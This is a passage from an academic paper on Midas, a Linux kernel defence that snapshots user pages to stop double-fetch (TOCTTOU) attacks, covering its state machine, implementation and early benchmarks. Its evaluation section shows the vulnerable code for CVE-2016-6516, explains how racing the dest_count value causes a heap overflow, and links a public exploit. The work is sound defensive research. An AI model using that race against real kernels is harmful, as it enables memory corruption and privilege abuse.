cessing the correct copy on subsequent reads. Copies are only
maintained during syscalls’ lifetimes, and are released as soon
as no syscall needs it. Consequently, each userspace object
has a single copy when no syscalls are running. The invariant
also means that only accesses to userspace objects by the
kernel need to be protected. Accesses to userspace objects
from userspace and kernel objects by kernel code remains
unaffected.

Midas’ implementation builds on the protection mecha-
nisms provided by existing virtual memory implementations.
On modern platforms, virtual memory protection is set up by
the OS at page granularity by setting bits in pagetable entries
(PTEs). These permission bits are checked by the hardware
on memory access, efficiently enforcing the permissions, and
raising a fault when they are violated. For performance, Mi-
das implements its invariant at page granularity, not object
granularity: when a syscall reads from userspace, every page
touched by that read is covered, not merely the bytes read.
Page-granularity protections are conservative compared to
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byte-granularity protection and Midas maintains its invari-
ant. As a side-effect of its implementation, Midas does not
distinguish accesses to different parts of a page (intra-page
false sharing). False sharing leads to unnecessary page du-
plications, incurring performance overhead on highly shared
pages, but does not affect correctness.

For an object spanning multiple pages, Midas’ design se-
quentially protects each page before reading from it. The
leading pages containing the object are protected before the
later pages, allowing an attacker to potentially modify the
later pages before the syscall first reads them. However, the
attacker is prevented from modifying any of these pages after
the syscall’s first read, ensuring that double fetches respect
the invariant. If the syscall code contains a TOCTTOU bug,
the modification will be visible to the first fetch itself (which
is used for checking for validity of the data) and will lead to
the data being rejected straightaway. Midas’ invariant there-
fore prevent exploitation of double-fetch vulnerabilities even
when the fetched objects span multiple pages. We elaborate
on this case with an example in Section 5.2.

A major requirement for Midas is to allow concurrent ac-
cess to pages by user/kernel code running in parallel with a
syscall which reads from the same pages. This requirement
prevents deadlocks and improves performance vis-a-vis a
naïve design which blocks all other tasks writing to pages
already read by a syscall until the syscall completes. The
naïve design can deadlock because it introduces dependen-
cies between tasks for forward progress, which we illustrate
in the following example of a system with two tasks (A and
B): i) Task A issues a blocking syscall which reads a user
page and blocks, then ii) Task B writes to the same user page
before issuing a syscall which resumes task A. In this case, if
Task A’s read to the page preceeds Task B’s write, Task B will
be blocked waiting for A to complete its syscall. Task A will
also remain blocked waiting for Task B’s syscall, introducing
a circular dependency, leading to deadlock. The naïve design
also introduces unnecessary delays in other cases, such as the
one described below, again with two tasks (C and D): i) Task
C reads from a page and sleeps for a long while, but does
not read from the page a second time, then ii) Task D writes
to the same page after task C has read from it, and blocks
until Task C completes and is unnecessarily delayed. A more
performant approach is to duplicate the concurrently accessed
page: the copy is kept for task C for future fetches, and task
D can write to the original and proceed without delays.

Midas must maintain multiple versions of a page read by
a syscall to maintain its invariant in the face of concurrent
writes. Midas introduces snapshots and copies to keep track
of page versions. Snapshots are logical views of the page’s
contents at a particular time, while the actual contents are
stored in one of many copies. Each snapshot maps to a copy,
allowing the contents of the page at the time of creating the
snapshot to be read. If multiple snapshots are taken without in-
tervening writes to the page, these snapshots will map to a sin-

gle copy, reducing Midas’ space overheads and performance
overheads for creating copies. Midas maintains a snapshot of
every page when first read by a syscall. On a double fetch by
the same syscall, the copy mapped to the snapshot is accessed,
ensuring that the data read is the same as the first time. The
latest copy of the page is used for all writes, by the syscall as
well as from concurrently running tasks, updating the page as
seen from userspace. Midas’ design draws parallels to multi-
version concurrency control methods for databases based on
snapshot isolation [45]. Transactions read from a snapshot of
the database state from when they started, and writes update
the up-to-date state of the database. Essentially, Midas is a
multi-versioning system for pages where syscalls read from
immutable versions to prevent TOCTTOU bugs and syscalls
and userspace both write to a single mutable version holding
the latest state of the page.

5.1 Page State Machine

To track multiple versions of the contents of a page when be-
ing concurrently accessed by numerous tasks, from userspace
or during a syscall, Midas implicitly maintains a per-user page
state machine. For a page, its corresponding state machine
i) tracks snapshots for currently executing syscalls which have
read it, ii) tracks copies of the page, and iii) maintains the map-
ping between snapshots and copies necessary for providing
the correct contents to subsequent reads.

Figure 2 shows the state machine for a single page. At
every state, the page has two associated sets: i) the copies
set C = {CL,C0, . . .} holds multiple copies of the page over
time, and ii) the snapshots set S = {L,S0,S1, . . .} tracks logi-
cal versions of the page, each corresponding to one executing
syscall and each mapping to a copy. Reads from kernel code
in a syscall use the snapshot’s corresponding copy. Writes
from user/kernel code and reads from userspace access the
latest copy CL, which is mapped in processes’ address spaces.
All other copies are read-only (no matter what the original
page protection is), and are used for providing snapshots to
syscalls. Read-only pages only use states 0 and 1, and writes
lead to segmentation faults (as they do on non-Midas systems).
Knowing which state the page is in allows Midas to differen-
tiate between faults due to Midas protecting pages and faults
due to actual permissions violations in userspace programs
or the kernel. The latest copy CL of read-only pages remains
read-only in both protected states (1 and 3). In the following
paragraphs, we describe how the state machine for a single,
writable user page transitions between its states, what triggers
each transition, and what changes are made to the copies and
snapshot sets on a transition. In Figure 3, we illustrate how
the state machine protects the syscall from Figure 1.

State 0. A page starts as (unprotected,
unduplicated). In this state, there is a single copy
CL and a single “snapshot” L. The snapshot L refers to the
latest version of the page which changes over time, and is
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Figure 2: State diagram for a page in Midas. Reads/writes from userspace/syscall code are marked (u)/(s) respectively. Shading is
used to represent the mapping from snapshots to copies.

the only mutable snapshot. All processes where this page is
mapped have unrestricted userspace read and write access,
and unrestricted kernel write access. The remaining operation,
a read from kernel code, triggers a transition to State 1. In
Figure 3, the snapshot L initially contains the value 42.

State 1. The page in State 0 transitions to the (protected,
unduplicated) state as soon as a syscall reads from it. Mi-
das first marks the page’s latest copy CL read-only in all
processes, trapping writes to the page but allowing concurrent
userspace reads to continue. A new snapshot, S0 linked to this
syscall is allocated for this page. For the rest of its lifetime,
this syscall will only read this page from this snapshot. Both
snapshots S0 and L refer to the same copy CL (shown by the
blue cross-thatch in Figure 2). Prior to any writes to this page,
any other syscalls which also read the page get their own
snapshots (e.g., S1) all pointing to the single copy CL. The
page’s read-only status causes the hardware to fault on any
write, notifying Midas to transition the page to State 2. In
Figure 3, the page transitions to State 1 when the syscall first
reads it, and adds a snapshot S0.

State 2. A page in State 1 transitions to the (unprotected,
duplicated) state on any write from user or kernel code.
Midas duplicates the old contents of the page from copy CL,
creating a read-only copy C0 (shown by green shading in
Figure 2). Snapshots except L (i.e. S0 and S1) previously
mapping to CL are mapped to the copy C0. The write then
modifies the latest copy CL, which is made writable again.
Note how, in this state, any read using the snapshots S0 or
S1 reads from the unmodified copy C0 while writes directly
affect CL. Certain syscalls such as rt_sigaction both read

and write from the same user page. A write by rt_sigaction

to the page it has previously read will update the page’s latest
copy CL, but not the duplicate copy C0. Midas’ write policy
ensures that the copy CL always holds the latest contents of the
page, up-to-date with all the writes to the page, from both user
and kernel code. Further, Midas does not need to merge writes
from userspace and syscall code on a syscall’s completion,
since both directly modify the same copy CL. All other copies
Ci are immutable. When the attacker writes to the page in
Figure 3, the page moves to State 2, linking the snapshot S0
to a copy holding the original value 42. The writes from both
the attacker and the syscall itself both affect the copy CL, but
the read from the syscall accesses the snapshot S0 and reads
the same value as the first time.

State 3. A separate syscall subsequently reading the page
in State 2 transitions it to the (protected, duplicated)
state. The new snapshot, S2, points to the latest copy CL. State
3 is similar to State 1, except that there are different copies
of the page used for reading by different syscalls. The syscall
for which S0 was allocated will read from the copy C0, while
the syscall for which S2 was allocated will read from copy CL.
On a write, the page transitions to State 2 and is duplicated
again, creating another copy C1: snapshot S2 maps to C1 while
snapshots S1 and S0 continue to map to C0.

Releasing snapshots. Midas uses snapshots to enable a
syscall to read the same data from a page during its lifetime
and releases snapshots when syscalls complete. Releasing a
snapshot is possibly accompanied by a state transition and the
release of the mapped copy. If Si mapped to the latest copy
CL, Midas cannot free the copy since userspace is using it. In
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Figure 3: Diagram illustrating Midas preventing exploitation
of a double fetch of object X.

this case, the page must be in State 1 or 3, and CL is read-only.
After removing Si, if L is the sole remaining snapshot mapped
to CL, Midas makes the page writable, moving to State 0 or
2 from State 1 or 3 respectively. If Si is mapped to any other
duplicate Ci, Midas frees the copy along with the snapshot if
Si is the last remaining snapshot mapped to Ci. If the page was
in State 2, CL was writable and unmapped by any snapshot, so
Midas changes the page to State 0. This transition is shown
in Figure 3, where the snapshot S0 and the copy C0 are both
discarded. If the page was in State 3, CL was read-only and
mapped by some other snapshot, so Midas moves the page to
State 1. Recall that all snapshots Si except L are immutable.
Any data written by the syscalls directly affect L. Therefore,
dropping a snapshot Si is trivial and does not require writes
from the syscall to be merged into the latest copy.

5.2 Discussion

Correctness of syscalls directly updating snapshot L. Mi-
das’ design lets all writes, including those from syscalls, to
directly update the latest copy of the page CL and this property
maintains correctness of system execution. We now show that
there is a valid, safe execution trace of a system not protected

System Call Exemption reason

futex Relies on concurrent write
execve Remaps address space
write Invulnerable, improves performance

Table 2: System calls uninstrumented by Midas.

by Midas which generates the same sequence of writes to the
page, and therefore generates the same contents of the page
when the syscall ends. We define a safe trace as one that has
no writes to vulnerable data between double fetches by the
kernel, and therefore does not trigger any existing TOCTTOU
bugs. By showing that the final contents of memory after a
Midas syscall has a corresponding execution without Midas
(which we assume to be correct) leading to the same contents,
we can conclude that the execution of the Midas syscall is also
correct. For this proof, we assume that no syscall reads the
same object after writing to it (r-w-r pattern). Such syscalls
do not exist in the Linux kernel, and are discussed below.
Therefore, our syscalls write to an object after completing all
of their reads of that object.

Consider a page holding a single-byte object O0, and the
sequence of operations to this byte during a Midas syscall be
Ops = {Op0,Op1, . . .}. Each operation is a tuple (r/w,k/u)
specifying whether the operation was a read or a write, and
whether the operation was due to a user or kernel instruction.
Suppose there was no attempt to exploit a TOCTTOU bug,
i.e., between any two read operations by the same syscall,
there was no write to this object. In this case, Midas reads
the same value from its snapshot of the object as is present
on the latest version. The same sequence of operations on a
non-Midas system would be valid and safe, since the object
value does not change between the kernel’s double fetch and
the syscall reads the same value on this system.

Assume there was an attempt to exploit a TOCTTOU bug:
a write Op1 exists between two syscall reads Op0 and Op2.
Midas protects the syscall ensuring that Op2 does not see the
effect of Op1 by reading from a snapshot instead of the latest
copy CL. Since our syscalls are assumed to not contain any
r-w-r pattern, any writes by the syscall happen after Op2. Let
us assume that the syscall’s write is Op3. We can generate a
valid, safe execution on a non-Midas system by moving the
attacker’s write to after the last read by the syscall, i.e., Ops =
{Op0,Op2,Op1,Op3}. The syscall in this system reads the
same value both times, and hence has the same execution
as that in the Midas case. The value of the object when the
syscall completes is that written by Op3 in both cases (or that
written by Op1 when the syscall does not have a final write).
Since the syscall has the same execution and the final value of
the object is the same, the execution of the Midas system is the
same as that of the non-Midas system. In general, any trace
of operations on a Midas system can be translated to a valid,
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safe trace on a non-Midas system by moving malicious writes
to an object to just after the last double fetch of that object.
Multiple syscalls in Midas can therefore write to the same
object without affecting correctness, because an equivalent,
valid, safe non-Midas trace exists where all of the writes have
been postponed, in the same order to after the double fetch
reads.

Exemptions. Syscalls such as futex rely on user data
changing between double fetches to implement their func-
tionality and cannot be protected by Midas. These syscalls
are listed in Table 2. The futex syscall implements a fast syn-
chronization mechanism for userspace and relies on atomic
writes from concurrent userspace threads to update a con-
dition the syscall is waiting for. Subjecting a futex syscall
to Midas’ invariant will prevent it from ever waking up the
waiting task. Such syscalls cannot be protected by Midas, and
we implement an exemption list to prevent transitions in the
state machines of pages read by these syscalls. The code for
exempted syscalls must be manually inspected for double-
fetch vulnerabilities. Crucially, exempting these syscalls from
Midas’ protection does not affect the security of other syscalls
containing double fetches. Any writes from these syscalls are
subject to the same rules described in the state machine, and
cannot break Midas’ invariant. Midas can also implement
finer-grained exemptions based on syscall parameters. Those
were not necessary for Linux.

Syscalls with read-write-read patterns. A (hypothetical)
syscall that reads from an object, writes to it, and then reads
back the updated object cannot be protected using Midas.
Midas’ invariant will ensure that the second read is identical
to the first, and does not reflect the intermediate write. Such
syscalls must remain exempt from Midas’ instrumentation.
During extensive tests, we did not find any other syscall which
exhibits this behavior in the Linux kernel.

Syscalls with false sharing. Another hypothetical type of
syscall could struggle with Midas’ instrumentation due to
false sharing. Suppose a page contains two objects, O0 and
O1, and a syscall sequentially reads O0 then O1. Due to Midas’
invariant being enforced at page granularity and false sharing
of the page between these objects, Midas guarantees that the
value of object O1 read is the same as what was contained
when it first read object O0. A syscall requiring the value of
O1 to change between these two points in time would not
work with Midas’ protections. Such a hypothetical syscall,
requiring concurrent modifications to its arguments, could
exist to support some synchronization mechanism similar
to a futex and can be safely exempt from Midas’ invariant.
During extensive tests, we did not find any other syscall which
exhibits this behavior in the Linux kernel.

Example: Objects spanning multiple pages. Figure 4
shows Midas protecting a syscall which has a double fetch
for an object spanning multiple pages. Here, the two pages
containing the object X are accessed as X[0] and X[1]. The
attacker tries to attack the syscall by changing the value of

Target thread Attacker threadMemory state

Enter a syscall 42
43X

Read(X[0]) = 42 

Read(X[1]) = 0 

0
42X Write(X[1], 0)

10
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Read(X[1]) = 0 
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Read(X[1]) = 20

Figure 4: Diagram illustrating Midas preventing exploitation
of a double fetch of an object X spanning two pages.

the second page: i) between the syscall’s first reads of X[0]
and X[1], and ii) between the first and second fetches of X.
Midas ensures both fetches return X=(42,0). Critically, any
existing TOCTTOU bugs are not triggered since both fetches
read the same, possibly invalid, value of the object. Note how
the situation is identical to one where the malicious write to
X[1] happens before the syscall starts.

Preventing deadlocks by design. Midas’ design is free of
deadlocks, and exempts syscalls which require violation of its
invariant from triggering particular state-machine transitions.
Userspace reads always succeed, using the latest copy CL of
the accessed page. Writes from userspace and kernel code
succeed directly if the page is in State 0 or 2, and trigger
a fault otherwise. Handling these faults involves creating a
new copy of the page and setting the page writable. Reading
from kernel code involves creating a new snapshot and setting
the page read-only. None of the aforementioned operations
relies on other operations on the same page to complete and
all are finite time. None of the operations on a page rely
on operations on other pages. A single, per-page lock can
serialize operations on that page and assure forward progress.

Detecting double fetches. Midas’ state machine for pages
enables the precise detection of double fetch bugs, turning
it into an effective sanitizer and developer debugging tool in
addition to being an efficient mitigation. When a syscall first
reads from a user page, it creates a snapshot of that page. On
future reads, the snapshot is used in order to maintain the
invariant. While reading from a page, implementations must
check if a snapshot exists for the syscall: if yes, the snapshot
is used for the read, otherwise a new snapshot is created and
then used for the read. The existence of a snapshot means
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the syscall had previously read from this page and had then
created this snapshot, implying a double fetch. Unfortunately,
this approach is prone to false positives due to false sharing.
The two reads might read from the same page, but access en-
tirely disjoint bytes. Midas currently reports double fetches at
page granularity. A precise sanitizer could maintain a bitmask
of accessed bytes to prune false positives.

6 Midas Implementation

Our Midas prototype implements the state machine described
in Section 5 on Linux version 5.11, targeting the x86-64 ar-
chitecture. A page protected by Midas transitions between
states on either a kernel read to user memory, or when user or
kernel code writes to protected, read-only memory (see Fig-
ure 2). Midas can be implemented on any operating system
kernel that i) systematically uses transfer functions for reading
from userspace, and ii) on any architecture which implements
hardware-controlled access control to memory through page
tables. The first requirement enables Midas to implement
transitions on kernel reads from user memory. The Linux
kernel uses the raw_copy_from_user interface which we in-
strument for our prototype. The second requirement causes
the hardware to raise a fault on writes to Midas-protected
pages, directing execution on the processor to a pre-defined
exception handler in the OS. Our prototype instruments Linux’
fault handler in the function handle_pte_fault to implement
the write-triggered transmissions from states 2 and 4. Overall,
our prototype adds around 1,100 lines of code and modifies
17. Our design allows the changes to be mostly limited to the
memory subsystem, and in general does not require individ-
ual syscalls to be modified. Only one syscall (clone) required
code modification.

6.1 Tracking Page State

Midas needs to track the state for every userspace page, in-
cluding its snapshot and copy sets. Figure 5 shows the data
structures used to track a page’s state in our prototype. Linux
maintains a struct page object for every frame of physical
memory. We augment struct page with a list holding the
snapshots for this page, excluding the latest snapshot L. Each
snapshot has a pointer to its copy. In the figure, the snap-
shots S1 and S0 share the copy C0. We are aware of the strong
aversion of the Linux kernel developer community towards
increasing the size of struct page. An alternate implemen-
tation can use a hashmap to map from a page’s frame num-
ber to its snapshots list or reuse existing data members (e.g.,
struct list_head lru which can be used as a generic list by
page owners).

Each pagetable entry for a user page in different address
spaces maps the copy CL, enabling userspace to directly ac-
cess the page with reads (and writes for writable pages). We
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Figure 5: Bookkeeping information for a page.

use one software-controlled bit (SW3) in the pagetable en-
tries to track the protection status of the page, and another
(SW2)2 to track the original protections for the page. SW3
is set whenever the page is in one of the two protected states
(1 and 3). On a write-triggered protection fault, SW3 can be
read to efficiently determine if the fault was due to Midas’
protection mechanisms, triggering a state change, or due to
buggy software accessing a page with illegal permissions,
triggering a signal to the task. Other architectures might have
fewer software-usable bits in the page table, and implemen-
tations of Midas would require storing the protection status
of pages in a separate data structure. The duplication status
of the page is implicitly encoded in the snapshots: the page
is duplicated when any of its snapshots holds a pointer to a
copy other than CL.

Changing a page’s protection state requires PTE updates
in all address spaces where the page is mapped. The page’s
struct page structure includes a reverse-map listing for all
of these pages, and the corresponding virtual address in each.
Our prototype uses this mapping to change PTE permissions
across all address spaces for a page.

2The SW2 bit is alternatively used by the experimental Software Dirty
Pages feature of Linux, and cannot be run alongside Midas in our prototype.
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6.2 Kernel Reads from User Memory

Syscalls reading from user memory the first time triggers
the allocation of a new snapshot. If the page is not protected
(states 1 and 3), the read also triggers a state change where
the kernel protects the page in all address space that it is
mapped in. Figure 6 shows the flowchart of the steps im-
plemented by the kernel function raw_copy_from_user for
reading from user memory. This function also uses the ker-
nel’s mark_page_accessed interface to move the page to the
“Active” state for the kernel’s swapping mechanism, making
the page ineligible for being swapped out. We also implement
get_user and unsafe_get_user (used by the kernel for small
reads) as a call to raw_copy_from_user.

Exemptions. Our prototype Midas kernel exempts a cou-
ple of functions from Midas’ invariant (in addition to those
described in Section 5.2), and these functions are therefore not
instrumented to follow the aforementioned steps while access-
ing userspace memory. First, raw_copy_from_user_inatomic
is a special transfer function used by the kernel to read user
memory in special situations such as a kernel oops3 where
the kernel reads user memory to provide a backtrace. In this
severe situation, the kernel’s goal is to collect debug infor-
mation before its imminent termination and no TOCTTOU
protection is needed. Second, we also exempt the write sys-
tem call’s reads from user memory from instrumentation. The

3A kernel oops is triggered when the kernel detects a problem while run-
ning which can affect its proper functioning, such as corrupted data structures.
A more severe version, a kernel panic, causes the kernel to stop executing,
expecting data loss or damage if it does.
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write syscall takes three arguments: a file descriptor passed
as a register, a pointer to a user buffer and a count of bytes
to be written to the file. While the write to the file’s pages
is sensitive, and Midas takes care to ensure that it follows
the page state machine, the read from userspace is not. The
syscall reads from userspace only once, and its data is only
used for copying into the file. An attacker who modifies the
user buffer concurrently with the syscall only manages to
change the contents written to file, which it could have done
anyway since it has access to this buffer. A kernel developer
can similarly exempt other syscall which they can prove to be
secure from double-fetch bugs.

6.3 Handling Faults

The memory management unit generates a fault when ker-
nel or user code accesses a page without having the correct
permission in the corresponding PTE. Midas marks writable
pages read-only to protect them in states 1 and 3, allowing the
kernel to detect writes to these pages. A common OS mech-
anism, copy-on-write (COW) pages, also uses permissions
in the PTE to detect when COW pages need to be copied.
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The PTE’s present bit are used to store pointers to file-backed
pages when they are swapped to disk. Figure 7 shows the
flowchart implemented by handle_pte_fault to handle faults
for userspace addresses.

The page-fault handler first checks if the PTE is NULL, and
if so knows that it must allocate a page. If the required page
is anonymous, the page can be allocated as usual. Otherwise,
for file-backed pages, the handler has to check if the page
is already in a protected state (states 1 and 3) by reading
the SW3 bit of the PTE and if so, transitions to the required
state and allocates a new copy. Pages in states 0 and 2 can be
directly mapped, and subsequently accessed.

For non-NULL PTEs, the handler checks if the PTE indi-
cates that the page is present. Non-present pages need to be
swapped in. After finding the page, Midas then checks if the
page was previously swapped in by any other task and is now
in a protected state. For protected pages, Midas implements
the required state change based on whether the faulting access
was a read or a write.

In the remaining case, faults for a present page indicate a
permission fault (for example, a write to a read-only page).
If the page is not a COW page, the handler then checks if
the page is in a protected state by checking the SW3 bit. If
the page was protected, a new copy is allocated and the page
transitions to the following state. For non-protected pages,
however, the fault implies a real access violation, sending a
signal to the process.

COW pages represent separate virtual pages from different
address spaces mapped to the same physical page. An exam-
ple of a COW page protected by Midas is shown in Figure 8,
where logically-separate pages A and B are actually mapped
to the COW page. COW pages cannot be in states 2 or 3,
since they cannot have multiple Midas copies. COW pages in
state 0 can be dealt with by the kernel’s standard duplication
method (not Midas’ duplication). For a COW page in state
1, its list of snapshots can correspond to reads from syscalls
for threads in different address spaces. In Figure 8, we show
snapshots SA and SB corresponding to syscalls for threads in
different address spaces (containing A and B respectively).
These snapshots correspond to different logical pages, but
are all squashed into the snapshots list of the single COW
page. Therefore, after the kernel duplicates the COW page
(new page B created, in Figure 8), Midas moves the snapshots
for the faulting process (SB) to the new page. Here, Midas
also updates the protected page list in the affected syscalls’
task_structs so that these structures correctly refer to the
new page. Finally, the new page is transitioned to its next
state to allow for the write to occur, creating a new copy (C0)
for the snapshot SB to read from.

We ensure that Midas’ modifications to the fault handler
correctly handle concurrent faults and do not cause additional
nested faults. During concurrent faults for the same page,
only one thread changes the page’s state whereas the other
directly uses the new state. The kernel’s split page-table lock

is reused to serialize state changes. We also ensure that the
only additional accesses to user memory within the handler
(used for duplication) happen when the page is assured to
be in memory and correctly mapped. All nested faults are
therefore caused by existing kernel code and do not interact
with Midas’ modifications.

6.4 Syscall Completion
On syscall completion, Midas cleans up snapshots allocated
for the syscall by instrumenting the end of do_syscall_64.
Midas goes through the list of all the pages for which the
executing syscall has a snapshot, and frees those snapshots.
For snapshots which were the last to point to a copy, that copy
is also freed.

6.5 File System Writes
Midas instruments file-system writes to protect the kernel
from modifications via kernel mappings. When a write

syscall writes to a file, it actually writes to copies of pages of
the file stored in memory within a page cache. In the spirit of
abstraction, the kernel does not directly write to these pages,
but calls the relevant file-system (FS) driver instead. The FS
driver will access the page using kernel mappings when writ-
ing to pages in the page cache. Since Midas only protects
userspace mappings for protected pages, writes by FS drivers
will not raise a fault. To comprehensively protect the page, any
implementation needs to instrument FS drivers’ write func-
tions. Fortunately, FS drivers provided with the kernel follow
a simple recipe: for pages not in the page cache, the driver
executes FS-specific code to read the page into the page cache
and then call a generic function (generic_file_write_iter)
to actually write the data into the page. Instrumenting this
generic function, therefore, protects the kernel for a wide
range of common file-systems (including ext4, nfs and ntfs). 4

The added instrumentation checks whether the target page is
protected, and if so, transitions it to the next state and creates
a copy of the page before writing to the latest copy.

Our current prototype does not, however, protect out-of-
tree drivers which are not distributed with the kernel if they do
not use the generic_file_write_iter function. A user with
superuser privileges can load a insecure module implement-
ing a FS driver which does not implement Midas checks. A
malicious superuser is, however, outside our threat model.

6.6 New Mappings to Protected Pages
Our Midas prototype preserves the state machine for user
pages across operations which create new mappings to a page

4A more comprehensive list of kernel-provided FS drivers protected via
generic_file_write_iter includes v9fs, ADFS, AFFS, AFS, BFS,
CIFS, eCryptfs, extFAT, ext2, F2FS, FAT, FUSE, HFS, HFS+, hostfs, HPFS,
JFS, JFFS2, Minix, NILFS2, OMFS, OrangeFS, ramfs, ReiserFS, SystemV,
UBIFS, UDF, UFS, VboxSF, shmem.
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to prevent attacks which rely on mappings being created be-
tween double fetches. The mmap syscall is responsible for creat-
ing new virtual memory mappings for processes, and requires
instrumentation. When mmap is called with the MAP_POPULATE

flag, or on the first access to the page, the mm_populate func-
tion is responsible for actually mapping the correct page in
the page table. In our prototype, we check if the page being
mapped is protected, and if so, correctly protect the new map-
ping too. Another syscall, clone, duplicates a process’ address
space when called without the CLONE_VM flag, creating new
mappings to pages. We instrument clone to ensure that new
mappings for protected pages are also correctly protected.

6.7 Discussion

Optimizations on capable hardware. To protect a page in
an address space, a Midas implementation needs to change
the permissions in the page table for that page. Modern CPUs
cache virtual memory translations in per-core Translation
Lookaside Buffers (TLBs) which need to be (partially) flushed
on page-table updates (TLB shootdown). On most CPUs, the
core updating permissions will perform a global shootdown to
ensure that other TLBs for cores executing in the same address
space are also updated. Implemented with inter-processor
interrupts, global shootdowns are expensive. In our evaluation,
21% of the runtime of the load generator bombardier used
for stressing the Nginx server was spent performing TLB
shootdowns when running on the Midas kernel.

A more efficient solution would be to have special hard-
ware support for invalidating TLB entries globally, not just
on the executing core. The AMD64 architecture manual [16]
lists such an instruction (INVLPGB), though it is yet to be im-
plemented in any commercially available x86 processors. The
ARM v8-A architecture manual [27] lists similar instruc-
tions TLBI ASIDE1IS and TLBI ASIDE1OS which invalidate
all PTEs of a page within a cluster of cores but not for cores
in other clusters (Inner Shareable Domain) and cores across
clusters (Outer Shareable Domain) respectively.

Alternate architectures [18, 22] with a single, system-wide
translation table would also benefit Midas by having a single
page table to update instead of multiple page tables for each
address space a page is mapped in.

Porting to other OSs. Midas can provide TOCTTOU pro-
tection on other operating systems by tracking the states of
each page and implementing state transitions as required.
OSs track page state in per-page state structures, such as
vm_state_t for BSD-based OSs (*BSD) such as FreeBSD
and XNU. An implementation on these OSs must instrument
the read transfer function(copyin for *BSD) to transition to
states 1 and 3. The OS’ fault handler (vm_fault on *BSD) will
trap on writes to protected pages, and needs to be modified to
implement the required page duplication and state change.

The remaining OS modifications for Midas support de-
pends on the OS’ features. If an OS allows userspace to map

1 //First fetch
2 if(get_user(count ,&argp ->dest_count))
3 {...}
4 //Using first fetch
5 size = offsetof(..., info[count]);
6 //Secong fetch
7 same = memdup_user(argp , size);
8 + //Added check for bug
9 + if(same->dest_count != count)

10 + printk("Bug triggered");
11 + // Fix: copy over original count
12 + same->dest_count = count;
13 //Using second fetch
14 ret = vfs_dedupe_file_range(file ,same);

Listing 1: CVE-2016-6516: Vulnerable double fetch in
ioctl_file_dedupe_range. Lines in green show the fix and
testing code.

file pages, filesystem code to write to these page needs to be
modified. Other syscalls which create/modify mappings to
userspace pages will also have to be instrumented to ensure
that the new mapping respects the page’s state. Such modifi-
cations are OS-specific, making it difficult to recommend a
generic methodology.

7 Evaluation

In this section, we emperically verify Midas’ ability to mit-
igate a known double fetch vulnerability, and quantify Mi-
das’ overhead on workloads with different characteristics
including both compute-bound applications which rarely use
syscalls and a mix of syscall-heavy applications which heavily
rely on the kernel’s performance.

7.1 Mitigation of CVE-2016-6516

CVE-2016-6516 is a known vulnerability in kernels prior
to version 4.7 in a file-system ioctl. The vulnerable code
is shown in Listing 1 and is triggered when the value of the
dest_count object differs between the two fetches (in lines
2 and 7). memdup_user uses the value from the first fetch for
allocating a buffer and copying in an array of descriptors
from the user in line 7. memdup_user also contains the sec-
ond fetch of dest_count which is later used in the function
vfs_dedupe_file_range. An attacker who increases the size
of dest_count between the two fetches will cause the ker-
nel to access the copied array out-of-bounds, causing a heap
buffer overflow.

For verifying Midas’ defense, we introduce a non-faulting
assertion check into the function (lines 9–10) and run a
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known exploit.5 The condition checks whether the fetched
value of the user object (dest_count) had changed, indicating
a successful attack, and prints a message. Finally, we
re-introduce the fix for the bug (line 12), fixing the value of
dest_count in same to that from the first fetch. In this setup,
we can detect when the conditions for triggering the bug are
met, but also revert to a correct state allowing the kernel to
safely continue. The exploit was able to successfully trigger
the bug on the baseline kernel every time over 10 runs. With
Midas enabled, the exploit was never triggered, i.e., both
fetches returned the same value on every call.

7.2 Performance evaluation

We evaluate Midas on i) microbenchmarks targeting specific
common syscalls, ii) workloads from two benchmark suites:
the NAS Parallel Benchmark (NPB) [17] and select work-
loads from the Phoronix Test Suite (PTS) [15], and iii) the
webserver Nginx. NPB includes compute-intensive multipro-
cessing workloads with a low, but non-negligible syscall rate.
NPB therefore demonstrates the ability of Midas to scale to
systems where pages are protected across numerous address
spaces. PTS includes a variety of benchmarks, both com-
pute bound and I/O bound representative of both desktop and
server workloads. PTS includes syscall-heavy applications
with varying degrees of parallelism. The Nginx webserver
is capable of both high request service rates and scalability
with multiple worker processes. We do not include the SPEC
CPU2017 benchmarks as they are heavily compute bound and
designed to isolate userspace performance without syscalls,
and are impervious to kernel performance. SPEC benchmarks
would unfairly bias performance in favor of Midas.

The testbench for the evaluation consists of a desktop
machine with an 8-core Intel i7-9700 processor and 16GB
DRAM running Ubuntu 20.04 LTS. This configuration and
CPU is commonly used on desktop machines and worksta-
tions. To eliminate the effect of dynamic frequency and volt-
age scaling (DVFS), we set the processor to run at constant
frequency of 3.0GHz which is this model’s base frequency. In
the baseline configuration, we run the testbench with the main-
line kernel v5.11 available from Ubuntu’s package repository.
The Midas configuration runs our prototype Midas kernel also
based on kernel v5.11. For particular benchmarks, we also run
the Midas+write configuration which also runs our prototype
Midas kernel but instruments all syscalls including write.

Microbenchmarks. We test Midas on microbenchmarks
from OSBench [11]. The programs use libc interfaces such
as fopen, pthread_create, fork and malloc for creating files,
threads, processes and for memory allocation respectively.
Table 3 lists the prominent syscall usage for these workloads.
Figure 9 shows Midas’ performance (time per operation) on
OSBench relative to the baseline kernel, with overheads rang-

5https://github.com/wpengfei/CVE-2016-6516-exploit/tree/
master/Scott%20Bauer

Microbenchmark Top syscalls used

File creation openat, fstat, write, close
Thread/Process creation mmap, clone, exit, wait
Program launch mmap, execvereadlink, openat
Mem alloc brk

Table 3: Prominent syscalls used by OSBench microbench-
marks.

ing from zero to 5.3%.
NAS Parallel Benchmarks. NAS Parallel Benchmarks

(NPB) [17] is a benchmark introduced by NASA. NPB con-
sists of several parallel programs using different communica-
tion patterns and is available for two frameworks for parallel
programming: OpenMP and MPI. OpenMP [19] is a compiler
extension that splits a program’s execution to multiple threads.
All threads still use the same address space, keeping the over-
head minimal. MPI [36] implements parallel execution by
launching multiple processes which communicate by message
passing. The two technology stacks have different frequency
of syscalls due to different communication methods. Com-
munication through kernel syscalls for either stack will incur
overhead due to Midas’ protection. Additional global TLB
shootdowns (for snapshot synchronization) added by Midas
will also affect the performance of such parallel benchmarks.

We run NPB benchmarks of class A on our testbench, ex-
ecuting 4 threads or processes in parallel. The benchmarks’
runtime varies between 10 seconds and 8 minutes, and are
all long enough for the kernel to reach equilibrium. Certain
benchmarks require a parallelism number which is a perfect
square. On our 8-core CPU, having 4 compute-bound thread-
s/processes instead of 16 allows all threads to run without time
sharing. Figure 9 shows Midas’ performance for both MPI
and OpenMP, normalized to the performance of the baseline
system with the same parallelization framework. On average,
Midas achieved 96.3% of the baseline system’s performance
on both frameworks. Midas’ performance for the ep (Embar-
rassingly Parallel) benchmark is closest to that of the baseline,
since it has low communication overheads. Midas shows low
